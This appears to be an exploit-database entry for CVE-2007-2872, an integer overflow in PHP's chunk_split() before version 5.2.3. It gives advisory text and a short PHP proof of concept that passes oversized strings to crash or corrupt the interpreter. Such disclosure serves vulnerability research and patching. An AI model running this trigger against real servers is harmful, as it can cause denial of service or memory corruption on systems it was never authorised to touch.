PHP 5.1.6 - 'Chunk_Split()' Integer Overflow

Author: Gerhard Wagner
type: remote
platform: php
port: 
date_added: 2007-05-31 
date_updated: 2013-12-08 
verified: 1 
codes: CVE-2007-2872;OSVDB-36083 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/24261/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrupt process memory.

Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects versions prior to PHP 5.2.3.

<?
          $a=str_repeat("A", 65535);
          $b=1;
          $c=str_repeat("A", 65535);
          chunk_split($a,$b,$c);
?>